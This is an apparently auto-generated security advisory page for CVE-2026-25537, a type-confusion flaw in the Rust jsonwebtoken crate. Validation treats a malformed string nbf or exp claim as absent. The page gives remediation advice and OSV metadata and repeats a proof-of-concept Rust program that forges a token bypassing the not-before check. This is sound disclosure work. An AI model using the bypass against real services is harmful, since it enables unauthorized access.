CVE-2026-25537: Jsonwebtoken Jsonwebtoken Has Type Confusion That Vulnerability

MODERATE
Advisory Identifier: GHSA-h395-gr6q-cpjc
CWE-843
Published
Advisory Summary

CVE-2026-25537 is a MODERATE jsonwebtoken has type confusion that vulnerability (CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')) affecting Jsonwebtoken libraries in the crates.io ecosystem. The issue involves jsonwebtoken has type confusion that leads to potential authorization bypass. Remediation is available by upgrading affected packages to version 10.3.0.

CVE-2026-25537 at a Glance

CVE Identifier CVE-2026-25537
GHSA Identifier GHSA-h395-gr6q-cpjc
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
Affected Product Jsonwebtoken
Package Ecosystem crates.io
Published Date
Last Updated

How to Fix CVE-2026-25537

To remediate this vulnerability, upgrade all affected Jsonwebtoken dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jsonwebtoken fixed: 10.3.0
Upgrade jsonwebtoken to 10.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for jsonwebtoken

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25537, inspect your project dependencies for Jsonwebtoken:

inspect dependencies for jsonwebtoken

Analyze the terminal output to locate any version of Jsonwebtoken in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 10.3.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-843: Access of Resource Using Incompatible Type ('Type Confusion'), where the product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type. In Jsonwebtoken, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary: It has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic. When a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”. This means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses. ## Details: The vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs). 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization: ``` enum TryParse<T> { Parsed(T), FailedToParse, // Set when deserialization fails (e.g. type mismatch) NotPresent, } ``` If a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse. 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf like this: ``` // L288-291 if matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) { return Err(new_error(ErrorKind::ImmatureSignature)); } ``` This matches! macro explicitly looks for TryParse::Parsed(nbf). • If claims.nbf is FailedToParse, the match returns false. • The if block is skipped. • No error is returned. 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check: ``` // Lines 259-267 for required_claim in &options.required_spec_claims { let present = match required_claim.as_str() { "nbf" => matches!(claims.nbf, TryParse::Parsed(_)), // ... }; if !present { return Err(...); } } ``` If “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error. However, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption. Environment: • Version: jsonwebtoken 10.2.0 • Rust Version: rustc 1.90.0 • Cargo Version: cargo 1.90.0 • OS: MacOS Tahoe 26.2 POC: For demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future. create a new project: ``` cargo new nbf_poc; cd nbf_poc ``` add required dependencies: ``` cargo add serde --features derive cargo add jsonwebtoken --features rust_crypto cargo add serde_json ``` replace the code in src/main.rs with this: ``` use jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode}; use serde::{Deserialize, Serialize}; #[derive(Debug, Serialize, Deserialize)] struct Claims { sub: String, nbf: String, // Attacker sends nbf as a String exp: usize, } fn main() { let key: &[u8; 24] = b"RedMouseOverTheSkyIsBlue"; // nbf is a String "99999999999" (Far future) // Real nbf should be a Number. let my_claims: Claims = Claims { sub: "krishna".to_string(), nbf: "99999999999".to_string(), exp: 10000000000, }; let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap(); println!("Forged Token: {}", token); // 2. Configure Validation let mut validation: Validation = Validation::new(Algorithm::HS256); validation.validate_nbf = true; // Enable NBF check // We do NOT add "nbf" to required_spec_claims (default behavior) // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug. // The library sees the raw JSON with string "nbf". let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>( &token, &DecodingKey::from_secret(key), &validation ); match result { Ok(_) => println!("Token was accepted despite malformed far-future 'nbf'!"), Err(e) => println!("Token rejected. Error: {:?}", e), } } ``` run cargo run expected behaviour: ``` Forged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk ``` Token was accepted despite malformed far-future 'nbf'! Impact: If an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”). By sending nbf as a string, an attacker can bypass this restriction and access the resource immediately. and for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.

CVE-2026-25537 Affected Jsonwebtoken Versions

1 component(s)
Fixed Versions:
10.3.0
Product / Package Ecosystem Affected Versions Fixed Version
jsonwebtoken
crates.io
< 10.3.0
10.3.0

References

Frequently Asked Questions

What is CVE-2026-25537?
CVE-2026-25537 is a security vulnerability in Jsonwebtoken involving jsonwebtoken has Type Confusion that leads to potential authorization bypass under CWE-843: Access of Resource Using Incompatible Type ('Type Confusion').
Which Jsonwebtoken versions are affected?
Affected versions include releases prior to 10.3.0 across affected packages: jsonwebtoken.
What version fixes CVE-2026-25537?
Upgrading to 10.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jsonwebtoken affected?
Yes, jsonwebtoken is affected in releases prior to 10.3.0. Upgrade your dependency to 10.3.0 or later.
What CWE is associated with CVE-2026-25537?
CVE-2026-25537 is classified under CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (The product allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.).
How can I check crates.io dependencies for CVE-2026-25537?
Run the dependency tree command: 'inspect dependencies for jsonwebtoken'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h395-gr6q-cpjc",
  "modified" : "2026-02-05T00:34:49Z",
  "published" : "2026-02-03T18:47:40Z",
  "aliases" : [ "CVE-2026-25537" ],
  "summary" : "jsonwebtoken has Type Confusion that leads to potential authorization bypass",
  "details" : "## Summary:\n\nIt has been discovered that there is a Type Confusion vulnerability in jsonwebtoken, specifically, in its claim validation logic.\n\nWhen a standard claim (such as nbf or exp) is provided with an incorrect JSON type (Like a String instead of a Number), the library’s internal parsing mechanism marks the claim as “FailedToParse”. Crucially, the validation logic treats this “FailedToParse” state identically to “NotPresent”.\n\nThis means that if a check is enabled (like: validate_nbf = true), but the claim is not explicitly marked as required in required_spec_claims, the library will skip the validation check entirely for the malformed claim, treating it as if it were not there. This allows attackers to bypass critical time-based security restrictions (like “Not Before” checks) and commit potential authentication and authorization bypasses.\n\n## Details:\n\nThe vulnerability stems from the interaction between the TryParse enum and the validate function in [src/validation.rs](https://github.com/Keats/jsonwebtoken/blob/master/src/validation.rs).\n\n 1. The TryParse Enum: The library uses a custom TryParse enum to handle claim deserialization:\n```\nenum TryParse<T> {\n    Parsed(T),\n    FailedToParse, // Set when deserialization fails (e.g. type mismatch)\n    NotPresent,\n}\n```\nIf a user sends {“nbf”: “99999999999”} (legacy/string format), serde fails to parse it as u64, and it results in TryParse::FailedToParse.\n\n 1. The Validation Logic Flaw (src/validation.rs): In Validation::validate, the code checks for exp and nbf\nlike this:\n```\n// L288-291\nif matches!(claims.nbf, TryParse::Parsed(nbf) if options.validate_nbf && nbf > now + options.leeway) {\n    return Err(new_error(ErrorKind::ImmatureSignature));\n}\n```\nThis matches! macro explicitly looks for TryParse::Parsed(nbf).\n\n • If claims.nbf is FailedToParse, the match returns false.\n • The if block is skipped.\n • No error is returned.\n 1. The “Required Claims” Gap: The only fallback mechanism is the “Required Claims” check:\n```\n// Lines 259-267\nfor required_claim in &options.required_spec_claims {\n    let present = match required_claim.as_str() {\n        \"nbf\" => matches!(claims.nbf, TryParse::Parsed(_)),\n        // ...\n    };\n    if !present { return Err(...); }\n}\n```\nIf “nbf” IS in required_spec_claims, FailedToParse will fail the matches!(..., Parsed(_)) check, causing the present to be false, and correctly returning an error.\n\nHowever, widely accepted usage patterns often enable validation flags (validate_nbf = true) without adding the claim to the required list, assuming that enabling validation implicitly requires the claim’s validity if it appears in the token. jsonwebtoken seems to violate this assumption.\n\nEnvironment:\n\n • Version: jsonwebtoken 10.2.0\n • Rust Version: rustc 1.90.0\n • Cargo Version: cargo 1.90.0\n • OS: MacOS Tahoe 26.2\n\nPOC:\n\nFor demonstrating, Here is this simple rust code that demonstrates the bypass. It attempts to validate a token with a string nbf claiming to be valid only in the far future.\n\ncreate a new project:\n```\ncargo new nbf_poc; cd nbf_poc\n```\nadd required dependencies:\n```\ncargo add serde --features derive\ncargo add jsonwebtoken --features rust_crypto\ncargo add serde_json\n```\nreplace the code in src/main.rs with this:\n\n```\nuse jsonwebtoken::{decode, Validation, Algorithm, DecodingKey, Header, EncodingKey, encode};\nuse serde::{Deserialize, Serialize};\n\n#[derive(Debug, Serialize, Deserialize)]\nstruct Claims {\n    sub: String,\n    nbf: String, // Attacker sends nbf as a String\n    exp: usize,\n}\nfn main() {\n    let key: &[u8; 24] = b\"RedMouseOverTheSkyIsBlue\";\n\n    // nbf is a String \"99999999999\" (Far future)\n    // Real nbf should be a Number.\n    let my_claims: Claims = Claims {\n        sub: \"krishna\".to_string(),\n        nbf: \"99999999999\".to_string(), \n        exp: 10000000000, \n    };\n\n    let token: String = encode(&Header::default(), &my_claims, &EncodingKey::from_secret(key)).unwrap();\n    println!(\"Forged Token: {}\", token);\n\n    // 2. Configure Validation\n    let mut validation: Validation = Validation::new(Algorithm::HS256);\n    validation.validate_nbf = true; // Enable NBF check\n\n    // We do NOT add \"nbf\" to required_spec_claims (default behavior)\n\n    // We decode to serde_json::Value to avoid strict type errors in our struct definition hiding the library bug.\n    // The library sees the raw JSON with string \"nbf\".\n    let result: Result<jsonwebtoken::TokenData<serde_json::Value>, jsonwebtoken::errors::Error> = decode::<serde_json::Value>(\n        &token, \n        &DecodingKey::from_secret(key), \n        &validation\n    );\n\n    match result {\n        Ok(_) => println!(\"Token was accepted despite malformed far-future 'nbf'!\"),\n        Err(e) => println!(\"Token rejected. Error: {:?}\", e),\n    }\n}\n```\nrun cargo run\n\nexpected behaviour:\n\n```\nForged Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJrcmlzaG5hIiwibmJmIjoiOTk5OTk5OTk5OTkiLCJleHAiOjEwMDAwMDAwMDAwfQ.Fm3kZIqMwqIA6sEA1w52UOMqqnu4hlO3FQStFmbaOwk\n```\nToken was accepted despite malformed far-future 'nbf'!\nImpact:\n\nIf an application uses jsonwebtoken nbf (Not Before) to schedule access for the future (like “Access granted starting tomorrow”).\n\nBy sending nbf as a string, an attacker can bypass this restriction and access the resource immediately.\n\nand for the exp claim (this is unlikely but still adding), If a developer sets validate_exp = true but manually handles claim presence (removing exp from required_spec_claims), an attacker can send a string exp (e.g., “never”) and bypass expiration checks entirely. The token becomes valid forever.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "jsonwebtoken"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.3.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Keats/jsonwebtoken/security/advisories/GHSA-h395-gr6q-cpjc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25537"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Keats/jsonwebtoken/commit/abbc3076742c4161347bc6b8bf4aa5eb86e1dc01"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Keats/jsonwebtoken"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-843" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-03T18:47:40Z",
    "nvd_published_at" : "2026-02-04T22:15:59Z"
  }
}